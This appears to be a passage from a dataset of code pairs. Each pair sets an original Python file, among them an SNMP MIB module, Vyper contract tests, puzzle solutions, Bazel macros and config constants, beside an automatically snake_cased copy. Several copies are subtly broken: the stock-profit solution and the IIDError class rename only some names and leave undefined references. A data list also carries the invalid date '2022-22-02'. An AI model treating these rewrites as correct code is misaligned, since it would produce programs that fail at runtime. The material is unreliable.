zyIfLoopbackId = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 1), Integer32())
if mibBuilder.loadTexts: zyIfLoopbackId.setStatus('current')
zyIfLoopbackName = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 2), OctetString()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: zyIfLoopbackName.setStatus('current')
zyIfLoopbackIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 3), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: zyIfLoopbackIpAddress.setStatus('current')
zyIfLoopbackMask = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 4), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: zyIfLoopbackMask.setStatus('current')
zyIfLoopbackRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 5), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: zyIfLoopbackRowStatus.setStatus('current')
mibBuilder.exportSymbols("ZYXEL-IF-LOOPBACK-MIB", zyIfLoopbackName=zyIfLoopbackName, zyxelIfLoopbackTable=zyxelIfLoopbackTable, zyIfLoopbackMask=zyIfLoopbackMask, zyIfLoopbackId=zyIfLoopbackId, PYSNMP_MODULE_ID=zyxelIfLoopback, zyIfLoopbackRowStatus=zyIfLoopbackRowStatus, zyxelIfLoopbackEntry=zyxelIfLoopbackEntry, zyIfLoopbackIpAddress=zyIfLoopbackIpAddress, zyxelIfLoopbackSetup=zyxelIfLoopbackSetup, zyxelIfLoopback=zyxelIfLoopback, zyIfLoopbackMaxNumberOfIfs=zyIfLoopbackMaxNumberOfIfs)
| (octet_string, integer, object_identifier) = mibBuilder.importSymbols('ASN1', 'OctetString', 'Integer', 'ObjectIdentifier')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(constraints_intersection, single_value_constraint, value_size_constraint, value_range_constraint, constraints_union) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ConstraintsIntersection', 'SingleValueConstraint', 'ValueSizeConstraint', 'ValueRangeConstraint', 'ConstraintsUnion')
(module_compliance, notification_group) = mibBuilder.importSymbols('SNMPv2-CONF', 'ModuleCompliance', 'NotificationGroup')
(counter32, object_identity, counter64, module_identity, integer32, gauge32, mib_scalar, mib_table, mib_table_row, mib_table_column, time_ticks, iso, unsigned32, mib_identifier, bits, notification_type, ip_address) = mibBuilder.importSymbols('SNMPv2-SMI', 'Counter32', 'ObjectIdentity', 'Counter64', 'ModuleIdentity', 'Integer32', 'Gauge32', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'TimeTicks', 'iso', 'Unsigned32', 'MibIdentifier', 'Bits', 'NotificationType', 'IpAddress')
(display_string, textual_convention, row_status) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention', 'RowStatus')
(es_mgmt,) = mibBuilder.importSymbols('ZYXEL-ES-SMI', 'esMgmt')
zyxel_if_loopback = module_identity((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28))
if mibBuilder.loadTexts:
zyxelIfLoopback.setLastUpdated('201207010000Z')
if mibBuilder.loadTexts:
zyxelIfLoopback.setOrganization('Enterprise Solution ZyXEL')
zyxel_if_loopback_setup = mib_identifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1))
zy_if_loopback_max_number_of_ifs = mib_scalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
zyIfLoopbackMaxNumberOfIfs.setStatus('current')
zyxel_if_loopback_table = mib_table((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2))
if mibBuilder.loadTexts:
zyxelIfLoopbackTable.setStatus('current')
zyxel_if_loopback_entry = mib_table_row((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1)).setIndexNames((0, 'ZYXEL-IF-LOOPBACK-MIB', 'zyIfLoopbackId'))
if mibBuilder.loadTexts:
zyxelIfLoopbackEntry.setStatus('current')
zy_if_loopback_id = mib_table_column((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 1), integer32())
if mibBuilder.loadTexts:
zyIfLoopbackId.setStatus('current')
zy_if_loopback_name = mib_table_column((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 2), octet_string()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
zyIfLoopbackName.setStatus('current')
zy_if_loopback_ip_address = mib_table_column((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 3), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
zyIfLoopbackIpAddress.setStatus('current')
zy_if_loopback_mask = mib_table_column((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 4), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
zyIfLoopbackMask.setStatus('current')
zy_if_loopback_row_status = mib_table_column((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 5), row_status()).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
zyIfLoopbackRowStatus.setStatus('current')
mibBuilder.exportSymbols('ZYXEL-IF-LOOPBACK-MIB', zyIfLoopbackName=zyIfLoopbackName, zyxelIfLoopbackTable=zyxelIfLoopbackTable, zyIfLoopbackMask=zyIfLoopbackMask, zyIfLoopbackId=zyIfLoopbackId, PYSNMP_MODULE_ID=zyxelIfLoopback, zyIfLoopbackRowStatus=zyIfLoopbackRowStatus, zyxelIfLoopbackEntry=zyxelIfLoopbackEntry, zyIfLoopbackIpAddress=zyIfLoopbackIpAddress, zyxelIfLoopbackSetup=zyxelIfLoopbackSetup, zyxelIfLoopback=zyxelIfLoopback, zyIfLoopbackMaxNumberOfIfs=zyIfLoopbackMaxNumberOfIfs) |
def test_throw_on_sending(w3, assert_tx_failed, get_contract_with_gas_estimation):
code = """
x: public(int128)
@external
def __init__():
self.x = 123
"""
c = get_contract_with_gas_estimation(code)
assert c.x() == 123
assert w3.eth.getBalance(c.address) == 0
assert_tx_failed(
lambda: w3.eth.sendTransaction({"to": c.address, "value": w3.toWei(0.1, "ether")})
)
assert w3.eth.getBalance(c.address) == 0
def test_basic_default(w3, get_logs, get_contract_with_gas_estimation):
code = """
event Sent:
sender: indexed(address)
@external
@payable
def __default__():
log Sent(msg.sender)
"""
c = get_contract_with_gas_estimation(code)
logs = get_logs(w3.eth.sendTransaction({"to": c.address, "value": 10 ** 17}), c, "Sent")
assert w3.eth.accounts[0] == logs[0].args.sender
assert w3.eth.getBalance(c.address) == w3.toWei(0.1, "ether")
def test_basic_default_default_param_function(w3, get_logs, get_contract_with_gas_estimation):
code = """
event Sent:
sender: indexed(address)
@external
@payable
def fooBar(a: int128 = 12345) -> int128:
log Sent(ZERO_ADDRESS)
return a
@external
@payable
def __default__():
log Sent(msg.sender)
"""
c = get_contract_with_gas_estimation(code)
logs = get_logs(w3.eth.sendTransaction({"to": c.address, "value": 10 ** 17}), c, "Sent")
assert w3.eth.accounts[0] == logs[0].args.sender
assert w3.eth.getBalance(c.address) == w3.toWei(0.1, "ether")
def test_basic_default_not_payable(w3, assert_tx_failed, get_contract_with_gas_estimation):
code = """
event Sent:
sender: indexed(address)
@external
def __default__():
log Sent(msg.sender)
"""
c = get_contract_with_gas_estimation(code)
assert_tx_failed(lambda: w3.eth.sendTransaction({"to": c.address, "value": 10 ** 17}))
def test_multi_arg_default(assert_compile_failed, get_contract_with_gas_estimation):
code = """
@payable
@external
def __default__(arg1: int128):
pass
"""
assert_compile_failed(lambda: get_contract_with_gas_estimation(code))
def test_always_public(assert_compile_failed, get_contract_with_gas_estimation):
code = """
@internal
def __default__():
pass
"""
assert_compile_failed(lambda: get_contract_with_gas_estimation(code))
def test_always_public_2(assert_compile_failed, get_contract_with_gas_estimation):
code = """
event Sent:
sender: indexed(address)
def __default__():
log Sent(msg.sender)
"""
assert_compile_failed(lambda: get_contract_with_gas_estimation(code))
def test_zero_method_id(w3, get_logs, get_contract_with_gas_estimation):
code = """
event Sent:
sig: uint256
@external
@payable
# function selector: 0x00000000
def blockHashAskewLimitary(v: uint256) -> uint256:
log Sent(2)
return 7
@external
def __default__():
log Sent(1)
"""
c = get_contract_with_gas_estimation(code)
assert c.blockHashAskewLimitary(0) == 7
logs = get_logs(w3.eth.sendTransaction({"to": c.address, "value": 0}), c, "Sent")
assert 1 == logs[0].args.sig
logs = get_logs(
# call blockHashAskewLimitary
w3.eth.sendTransaction({"to": c.address, "value": 0, "data": "0x00000000"}),
c,
"Sent",
)
assert 2 == logs[0].args.sig
| def test_throw_on_sending(w3, assert_tx_failed, get_contract_with_gas_estimation):
code = '\nx: public(int128)\n\n@external\ndef __init__():\n self.x = 123\n '
c = get_contract_with_gas_estimation(code)
assert c.x() == 123
assert w3.eth.getBalance(c.address) == 0
assert_tx_failed(lambda : w3.eth.sendTransaction({'to': c.address, 'value': w3.toWei(0.1, 'ether')}))
assert w3.eth.getBalance(c.address) == 0
def test_basic_default(w3, get_logs, get_contract_with_gas_estimation):
code = '\nevent Sent:\n sender: indexed(address)\n\n@external\n@payable\ndef __default__():\n log Sent(msg.sender)\n '
c = get_contract_with_gas_estimation(code)
logs = get_logs(w3.eth.sendTransaction({'to': c.address, 'value': 10 ** 17}), c, 'Sent')
assert w3.eth.accounts[0] == logs[0].args.sender
assert w3.eth.getBalance(c.address) == w3.toWei(0.1, 'ether')
def test_basic_default_default_param_function(w3, get_logs, get_contract_with_gas_estimation):
code = '\nevent Sent:\n sender: indexed(address)\n\n@external\n@payable\ndef fooBar(a: int128 = 12345) -> int128:\n log Sent(ZERO_ADDRESS)\n return a\n\n@external\n@payable\ndef __default__():\n log Sent(msg.sender)\n '
c = get_contract_with_gas_estimation(code)
logs = get_logs(w3.eth.sendTransaction({'to': c.address, 'value': 10 ** 17}), c, 'Sent')
assert w3.eth.accounts[0] == logs[0].args.sender
assert w3.eth.getBalance(c.address) == w3.toWei(0.1, 'ether')
def test_basic_default_not_payable(w3, assert_tx_failed, get_contract_with_gas_estimation):
code = '\nevent Sent:\n sender: indexed(address)\n\n@external\ndef __default__():\n log Sent(msg.sender)\n '
c = get_contract_with_gas_estimation(code)
assert_tx_failed(lambda : w3.eth.sendTransaction({'to': c.address, 'value': 10 ** 17}))
def test_multi_arg_default(assert_compile_failed, get_contract_with_gas_estimation):
code = '\n@payable\n@external\ndef __default__(arg1: int128):\n pass\n '
assert_compile_failed(lambda : get_contract_with_gas_estimation(code))
def test_always_public(assert_compile_failed, get_contract_with_gas_estimation):
code = '\n@internal\ndef __default__():\n pass\n '
assert_compile_failed(lambda : get_contract_with_gas_estimation(code))
def test_always_public_2(assert_compile_failed, get_contract_with_gas_estimation):
code = '\nevent Sent:\n sender: indexed(address)\n\ndef __default__():\n log Sent(msg.sender)\n '
assert_compile_failed(lambda : get_contract_with_gas_estimation(code))
def test_zero_method_id(w3, get_logs, get_contract_with_gas_estimation):
code = '\nevent Sent:\n sig: uint256\n\n@external\n@payable\n# function selector: 0x00000000\ndef blockHashAskewLimitary(v: uint256) -> uint256:\n log Sent(2)\n return 7\n\n@external\ndef __default__():\n log Sent(1)\n '
c = get_contract_with_gas_estimation(code)
assert c.blockHashAskewLimitary(0) == 7
logs = get_logs(w3.eth.sendTransaction({'to': c.address, 'value': 0}), c, 'Sent')
assert 1 == logs[0].args.sig
logs = get_logs(w3.eth.sendTransaction({'to': c.address, 'value': 0, 'data': '0x00000000'}), c, 'Sent')
assert 2 == logs[0].args.sig |
"""
Project Euler Problem 2
=======================
Each new term in the Fibonacci sequence is generated by adding the
previous two terms. By starting with 1 and 2, the first 10 terms will be:
1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ...
Find the sum of all the even-valued terms in the sequence which do not
exceed four million.
"""
def fibonacci(limit):
def fibonacci_acc(sequence, limit):
if sequence[-1] + sequence[-2] <= limit:
sequence.append(sequence[-1] + sequence[-2])
return fibonacci_acc(sequence, limit)
else:
return sequence
return fibonacci_acc([1, 2], limit)
sum_of_fibonaccis = sum([n for n in fibonacci(4000000) if n % 2 == 0])
print(sum_of_fibonaccis)
| """
Project Euler Problem 2
=======================
Each new term in the Fibonacci sequence is generated by adding the
previous two terms. By starting with 1 and 2, the first 10 terms will be:
1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ...
Find the sum of all the even-valued terms in the sequence which do not
exceed four million.
"""
def fibonacci(limit):
def fibonacci_acc(sequence, limit):
if sequence[-1] + sequence[-2] <= limit:
sequence.append(sequence[-1] + sequence[-2])
return fibonacci_acc(sequence, limit)
else:
return sequence
return fibonacci_acc([1, 2], limit)
sum_of_fibonaccis = sum([n for n in fibonacci(4000000) if n % 2 == 0])
print(sum_of_fibonaccis) |
expansion_dates = [
["2017-09-06", "D2 Vanilla"],
["2018-09-04", "Forsaken"],
["2019-10-01", "Shadowkeep"],
["2020-11-10", "Beyond Light"],
["2022-22-02", "Witch Queen"],
]
season_dates = [
["2017-12-05", "Curse of Osiris"],
["2018-05-08", "Warmind"],
["2018-12-04", "Season of the Forge"],
["2019-03-05", "Season of the Drifter"],
["2019-06-04", "Season of Opulence"],
["2019-12-10", "Season of Dawn"],
["2020-03-10", "Season of the Worthy"],
["2020-06-09", "Season of Arrivals"],
["2021-02-09", "Season of the Chosen"],
["2021-05-11", "Season of the Splicer"],
["2021-08-24", "Season of the Lost"],
["2021-12-07", "30th Anniversary Pack"],
]
| expansion_dates = [['2017-09-06', 'D2 Vanilla'], ['2018-09-04', 'Forsaken'], ['2019-10-01', 'Shadowkeep'], ['2020-11-10', 'Beyond Light'], ['2022-22-02', 'Witch Queen']]
season_dates = [['2017-12-05', 'Curse of Osiris'], ['2018-05-08', 'Warmind'], ['2018-12-04', 'Season of the Forge'], ['2019-03-05', 'Season of the Drifter'], ['2019-06-04', 'Season of Opulence'], ['2019-12-10', 'Season of Dawn'], ['2020-03-10', 'Season of the Worthy'], ['2020-06-09', 'Season of Arrivals'], ['2021-02-09', 'Season of the Chosen'], ['2021-05-11', 'Season of the Splicer'], ['2021-08-24', 'Season of the Lost'], ['2021-12-07', '30th Anniversary Pack']] |
"""
Shop in Candy Store:
In a candy store there are N different types of candies available and the prices of all the N different types of candies are provided to you.
You are now provided with an attractive offer.
You can buy a single candy from the store and get atmost K other candies ( all are different types ) for free.
Now you have to answer two questions.
Firstly, you have to tell what is the minimum amount of money you have to spend to buy all the N different candies.
Secondly, you have to tell what is the maximum amount of money you have to spend to buy all the N different candies.
In both the cases you must utilize the offer i.e. you buy one candy and get K other candies for free.
Example:
Input
1
4 2
3 2 1 4
Output
3 7
Explanation
As according to the offer if you but one candy you can take atmost two more for free.
So in the first case you buy the candy which costs 1 and take candies worth 3 and 4 for free, also you buy candy worth 2 as well.
So min cost = 1+2 =3.
In the second case I buy the candy which costs 4 and take candies worth 1 and 2 for free, also I buy candy worth 3 as well.
So max cost = 3+4 =7.
"""
def min_max_candy(prices, k):
idx1 = 0
idx2 = len(prices) - 1
ans = 0
free = 0
while idx1 <= idx2:
ans += prices[idx1]
for i in range(k):
if idx2 <= idx1:
break
free += prices[idx2]
idx2 -= 1
idx1 += 1
assert free + ans == sum(prices)
return ans
def main():
prices = [1, 2, 3, 4]
k = 0
prices.sort()
ans = min_max_candy(prices, k)
print(ans)
prices.reverse()
ans = min_max_candy(prices, k)
print(ans)
main()
| """
Shop in Candy Store:
In a candy store there are N different types of candies available and the prices of all the N different types of candies are provided to you.
You are now provided with an attractive offer.
You can buy a single candy from the store and get atmost K other candies ( all are different types ) for free.
Now you have to answer two questions.
Firstly, you have to tell what is the minimum amount of money you have to spend to buy all the N different candies.
Secondly, you have to tell what is the maximum amount of money you have to spend to buy all the N different candies.
In both the cases you must utilize the offer i.e. you buy one candy and get K other candies for free.
Example:
Input
1
4 2
3 2 1 4
Output
3 7
Explanation
As according to the offer if you but one candy you can take atmost two more for free.
So in the first case you buy the candy which costs 1 and take candies worth 3 and 4 for free, also you buy candy worth 2 as well.
So min cost = 1+2 =3.
In the second case I buy the candy which costs 4 and take candies worth 1 and 2 for free, also I buy candy worth 3 as well.
So max cost = 3+4 =7.
"""
def min_max_candy(prices, k):
idx1 = 0
idx2 = len(prices) - 1
ans = 0
free = 0
while idx1 <= idx2:
ans += prices[idx1]
for i in range(k):
if idx2 <= idx1:
break
free += prices[idx2]
idx2 -= 1
idx1 += 1
assert free + ans == sum(prices)
return ans
def main():
prices = [1, 2, 3, 4]
k = 0
prices.sort()
ans = min_max_candy(prices, k)
print(ans)
prices.reverse()
ans = min_max_candy(prices, k)
print(ans)
main() |
# Copyright 2019 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Convenience macro for stardoc e2e tests."""
load("@bazel_skylib//:bzl_library.bzl", "bzl_library")
load("//stardoc:html_tables_stardoc.bzl", "html_tables_stardoc")
load("//stardoc:stardoc.bzl", "stardoc")
def stardoc_test(
name,
input_file,
golden_file,
deps = [],
test = "default",
**kwargs):
"""Convenience macro for stardoc e2e test suites.
Each invocation creates four targets:
1. A sh_test target which verifies that stardoc-built-from-source, when run on an input file,
creates output matching the contents of a golden file, named "{name}_e2e_test".
2. A `stardoc` target which will generate a new golden file given an input file
with stardoc-built-from-source. This target should be used to regenerate
the golden file when updating stardoc, named "regenerate_{name}_golden".
3 & 4. Targets identical to (1) and (2) except they use the prebuilt-stardoc jar, and
are named "{name}_e2e_jar_test" and "regenerate_with_jar_{name}_golden".
5. A bzl_library target for convenient wrapping of input bzl files, named "{name}_lib".
Args:
name: A unique name to qualify the created targets.
input_file: The label string of the Starlark input file for which documentation is generated
in this test.
golden_file: The label string of the golden file containing the documentation when stardoc
is run on the input file.
deps: A list of label strings of starlark file dependencies of the input_file.
test: The type of test (default or html_tables).
**kwargs: A dictionary of input template names mapped to template file path for which documentation is generated.
"""
bzl_library(
name = "%s_lib" % name,
srcs = [input_file],
deps = deps,
)
_create_test_targets(
test_name = "%s_e2e_test" % name,
genrule_name = "regenerate_%s_golden" % name,
lib_name = "%s_lib" % name,
input_file = input_file,
golden_file = golden_file,
stardoc_bin = "@io_bazel//src/main/java/com/google/devtools/build/skydoc",
renderer_bin = "@io_bazel//src/main/java/com/google/devtools/build/skydoc/renderer",
test = test,
**kwargs
)
_create_test_targets(
test_name = "%s_e2e_jar_test" % name,
genrule_name = "regenerate_with_jar_%s_golden" % name,
lib_name = "%s_lib" % name,
input_file = input_file,
golden_file = golden_file,
stardoc_bin = "@io_bazel//src/main/java/com/google/devtools/build/skydoc",
renderer_bin = "@io_bazel//src/main/java/com/google/devtools/build/skydoc/renderer",
test = test,
**kwargs
)
def _create_test_targets(
test_name,
genrule_name,
lib_name,
input_file,
golden_file,
stardoc_bin,
renderer_bin,
test,
**kwargs):
actual_generated_doc = "%s.out" % genrule_name
native.sh_test(
name = test_name,
srcs = ["diff_test_runner.sh"],
args = [
"$(location %s)" % actual_generated_doc,
"$(location %s)" % golden_file,
],
data = [
actual_generated_doc,
golden_file,
],
)
if test == "default":
stardoc(
name = genrule_name,
out = actual_generated_doc,
input = input_file,
deps = [lib_name],
renderer = renderer_bin,
stardoc = stardoc_bin,
**kwargs
)
elif test == "html_tables":
html_tables_stardoc(
name = genrule_name,
out = actual_generated_doc,
input = input_file,
deps = [lib_name],
renderer = renderer_bin,
stardoc = stardoc_bin,
**kwargs
)
else:
fail("parameter 'test' must either be 'default' or 'html_tables', but was " + test)
| """Convenience macro for stardoc e2e tests."""
load('@bazel_skylib//:bzl_library.bzl', 'bzl_library')
load('//stardoc:html_tables_stardoc.bzl', 'html_tables_stardoc')
load('//stardoc:stardoc.bzl', 'stardoc')
def stardoc_test(name, input_file, golden_file, deps=[], test='default', **kwargs):
"""Convenience macro for stardoc e2e test suites.
Each invocation creates four targets:
1. A sh_test target which verifies that stardoc-built-from-source, when run on an input file,
creates output matching the contents of a golden file, named "{name}_e2e_test".
2. A `stardoc` target which will generate a new golden file given an input file
with stardoc-built-from-source. This target should be used to regenerate
the golden file when updating stardoc, named "regenerate_{name}_golden".
3 & 4. Targets identical to (1) and (2) except they use the prebuilt-stardoc jar, and
are named "{name}_e2e_jar_test" and "regenerate_with_jar_{name}_golden".
5. A bzl_library target for convenient wrapping of input bzl files, named "{name}_lib".
Args:
name: A unique name to qualify the created targets.
input_file: The label string of the Starlark input file for which documentation is generated
in this test.
golden_file: The label string of the golden file containing the documentation when stardoc
is run on the input file.
deps: A list of label strings of starlark file dependencies of the input_file.
test: The type of test (default or html_tables).
**kwargs: A dictionary of input template names mapped to template file path for which documentation is generated.
"""
bzl_library(name='%s_lib' % name, srcs=[input_file], deps=deps)
_create_test_targets(test_name='%s_e2e_test' % name, genrule_name='regenerate_%s_golden' % name, lib_name='%s_lib' % name, input_file=input_file, golden_file=golden_file, stardoc_bin='@io_bazel//src/main/java/com/google/devtools/build/skydoc', renderer_bin='@io_bazel//src/main/java/com/google/devtools/build/skydoc/renderer', test=test, **kwargs)
_create_test_targets(test_name='%s_e2e_jar_test' % name, genrule_name='regenerate_with_jar_%s_golden' % name, lib_name='%s_lib' % name, input_file=input_file, golden_file=golden_file, stardoc_bin='@io_bazel//src/main/java/com/google/devtools/build/skydoc', renderer_bin='@io_bazel//src/main/java/com/google/devtools/build/skydoc/renderer', test=test, **kwargs)
def _create_test_targets(test_name, genrule_name, lib_name, input_file, golden_file, stardoc_bin, renderer_bin, test, **kwargs):
actual_generated_doc = '%s.out' % genrule_name
native.sh_test(name=test_name, srcs=['diff_test_runner.sh'], args=['$(location %s)' % actual_generated_doc, '$(location %s)' % golden_file], data=[actual_generated_doc, golden_file])
if test == 'default':
stardoc(name=genrule_name, out=actual_generated_doc, input=input_file, deps=[lib_name], renderer=renderer_bin, stardoc=stardoc_bin, **kwargs)
elif test == 'html_tables':
html_tables_stardoc(name=genrule_name, out=actual_generated_doc, input=input_file, deps=[lib_name], renderer=renderer_bin, stardoc=stardoc_bin, **kwargs)
else:
fail("parameter 'test' must either be 'default' or 'html_tables', but was " + test) |
# https://leetcode.com/problems/best-time-to-buy-and-sell-stock/submissions/
class Solution:
def maxProfit(self, prices: List[int]) -> int:
if len(prices) == 0:
return 0
maxProfitSoFar = 0
buy = prices[0]
for i in range(1, len(prices)):
cur = prices[i]
curProfit = cur - buy
if curProfit < 0:
buy = cur
continue
if curProfit > maxProfitSoFar:
maxProfitSoFar = curProfit
return maxProfitSoFar
| class Solution:
def max_profit(self, prices: List[int]) -> int:
if len(prices) == 0:
return 0
max_profit_so_far = 0
buy = prices[0]
for i in range(1, len(prices)):
cur = prices[i]
cur_profit = cur - buy
if curProfit < 0:
buy = cur
continue
if curProfit > maxProfitSoFar:
max_profit_so_far = curProfit
return maxProfitSoFar |
# Variables to be overriden by template_vars.mk via jinja
# watch the string quoting.
RUNAS = "{{MLDB_USER}}"
HTTP_LISTEN_PORT = {{MLDB_LOGGER_HTTP_PORT}}
| runas = '{{MLDB_USER}}'
http_listen_port = {{MLDB_LOGGER_HTTP_PORT}} |
class IIDError:
INTERNAL_ERROR = 'internal-error'
UNKNOWN_ERROR = 'unknown-error'
INVALID_ARGUMENT = 'invalid-argument'
AUTHENTICATION_ERROR = 'authentication-error'
SERVER_UNAVAILABLE = 'server-unavailable'
ERROR_CODES = {
400: INVALID_ARGUMENT,
401: AUTHENTICATION_ERROR,
403: AUTHENTICATION_ERROR,
500: INTERNAL_ERROR,
503: SERVER_UNAVAILABLE
}
| class Iiderror:
internal_error = 'internal-error'
unknown_error = 'unknown-error'
invalid_argument = 'invalid-argument'
authentication_error = 'authentication-error'
server_unavailable = 'server-unavailable'
error_codes = {400: INVALID_ARGUMENT, 401: AUTHENTICATION_ERROR, 403: AUTHENTICATION_ERROR, 500: INTERNAL_ERROR, 503: SERVER_UNAVAILABLE} |
PATH_TO_DATASET = "houseprice.csv"
TARGET = 'SalePrice'
CATEGORICAL_TO_IMPUTE = ['MasVnrType', 'BsmtQual', 'BsmtExposure',
'FireplaceQu', 'GarageType', 'GarageFinish']
NUMERICAL_TO_IMPUTE = ['LotFrontage']
YEAR_VARIABLE = 'YearRemodAdd'
NUMERICAL_LOG = ['LotFrontage', '1stFlrSF', 'GrLivArea', 'SalePrice']
CATEGORICAL_ENCODE = ['MSZoning', 'Neighborhood', 'RoofStyle',
'MasVnrType', 'BsmtQual', 'BsmtExposure',
'HeatingQC', 'CentralAir', 'KitchenQual',
'FireplaceQu', 'GarageType', 'GarageFinish',
'PavedDrive']
FEATURES = ['MSSubClass', 'MSZoning', 'Neighborhood', 'OverallQual',
'OverallCond', 'YearRemodAdd', 'RoofStyle', 'MasVnrType',
'BsmtQual', 'BsmtExposure', 'HeatingQC', 'CentralAir',
'1stFlrSF', 'GrLivArea', 'BsmtFullBath', 'KitchenQual',
'Fireplaces', 'FireplaceQu', 'GarageType', 'GarageFinish',
'GarageCars', 'PavedDrive', 'LotFrontage']
| path_to_dataset = 'houseprice.csv'
target = 'SalePrice'
categorical_to_impute = ['MasVnrType', 'BsmtQual', 'BsmtExposure', 'FireplaceQu', 'GarageType', 'GarageFinish']
numerical_to_impute = ['LotFrontage']
year_variable = 'YearRemodAdd'
numerical_log = ['LotFrontage', '1stFlrSF', 'GrLivArea', 'SalePrice']
categorical_encode = ['MSZoning', 'Neighborhood', 'RoofStyle', 'MasVnrType', 'BsmtQual', 'BsmtExposure', 'HeatingQC', 'CentralAir', 'KitchenQual', 'FireplaceQu', 'GarageType', 'GarageFinish', 'PavedDrive']
features = ['MSSubClass', 'MSZoning', 'Neighborhood', 'OverallQual', 'OverallCond', 'YearRemodAdd', 'RoofStyle', 'MasVnrType', 'BsmtQual', 'BsmtExposure', 'HeatingQC', 'CentralAir', '1stFlrSF', 'GrLivArea', 'BsmtFullBath', 'KitchenQual', 'Fireplaces', 'FireplaceQu', 'GarageType', 'GarageFinish', 'GarageCars', 'PavedDrive', 'LotFrontage'] |
"""
Implements a solution to the compare lists Hackerrank problem.
https://www.hackerrank.com/challenges/compare-two-linked-lists/problem
"""
__author__ = "Jacob Richardson"
def compare_lists(llist1, llist2):
""" Compares two singly linked list to determine if they are equal."""
# If list 1 is empty and list 2 is not empty.
if not llist1 and llist2:
# Return zero because the lists are not equal.
return 0
# If list 2 is empty and list 1 is not empty.
if not llist2 and llist1:
# Return zero because the lists are not equal.
return 0
# Set node 1 equal to the head of list 1.
node1 = llist1
# Set node 2 equal to the head of list 2.
node2 = llist2
# While node 1 and node 2 are truthy.
while node1 and node2:
# If the data in each node is not equal.
if node1.data != node2.data:
# Return zero because the lists are not equal.
return 0
# If list 1 has a next node and list 2 does not.
if node1.next and not node2.next:
# Return zero because the lists are not equal.
return 0
# If list 2 has a next node and list 1 does not.
if node2.next and not node1.next:
# Return zero because the lists are not equal.
return 0
# Set node 1 equal to the next node.
node1 = node1.next
# Set node 2 equal to the next node.
node2 = node2.next
# Return 1 denoting they are equal.
return 1
| """
Implements a solution to the compare lists Hackerrank problem.
https://www.hackerrank.com/challenges/compare-two-linked-lists/problem
"""
__author__ = 'Jacob Richardson'
def compare_lists(llist1, llist2):
""" Compares two singly linked list to determine if they are equal."""
if not llist1 and llist2:
return 0
if not llist2 and llist1:
return 0
node1 = llist1
node2 = llist2
while node1 and node2:
if node1.data != node2.data:
return 0
if node1.next and (not node2.next):
return 0
if node2.next and (not node1.next):
return 0
node1 = node1.next
node2 = node2.next
return 1 |
def get_questions_and_media_attributes(json):
questions=[]
media_attributes=[]
def parse_repeat(r_object):
r_question = r_object['name']
for first_children in r_object['children']:
question = r_question+"/"+first_children['name']
if first_children['type'] in ['photo', 'audio', 'video']:
media_attributes.append(question)
questions.append({'question':question, 'label':first_children.get('label', question), 'type':first_children.get('type', '')})
def parse_group(prev_groupname, g_object):
g_question = prev_groupname+g_object['name']
for first_children in g_object['children']:
question_name = first_children['name']
question_type = first_children['type']
if question_type == 'group':
parse_group(g_question+"/",first_children)
continue
question = g_question+"/"+first_children['name']
if question_type in ['photo', 'audio', 'video']:
media_attributes.append(question)
questions.append({'question':question, 'label':first_children.get('label', question), 'type':first_children.get('type', '')})
def parse_individual_questions(parent_object):
for first_children in parent_object:
if first_children['type'] == "repeat":
parse_repeat(first_children)
elif first_children['type'] == 'group':
parse_group("",first_children)
else:
question = first_children['name']
if first_children['type'] in ['photo', 'video', 'audio']:
media_attributes.append(question)
questions.append({'question':question, 'label':first_children.get('label', question), 'type':first_children.get('type', '')})
parse_individual_questions(json)
return {'questions':questions, 'media_attributes':media_attributes} | def get_questions_and_media_attributes(json):
questions = []
media_attributes = []
def parse_repeat(r_object):
r_question = r_object['name']
for first_children in r_object['children']:
question = r_question + '/' + first_children['name']
if first_children['type'] in ['photo', 'audio', 'video']:
media_attributes.append(question)
questions.append({'question': question, 'label': first_children.get('label', question), 'type': first_children.get('type', '')})
def parse_group(prev_groupname, g_object):
g_question = prev_groupname + g_object['name']
for first_children in g_object['children']:
question_name = first_children['name']
question_type = first_children['type']
if question_type == 'group':
parse_group(g_question + '/', first_children)
continue
question = g_question + '/' + first_children['name']
if question_type in ['photo', 'audio', 'video']:
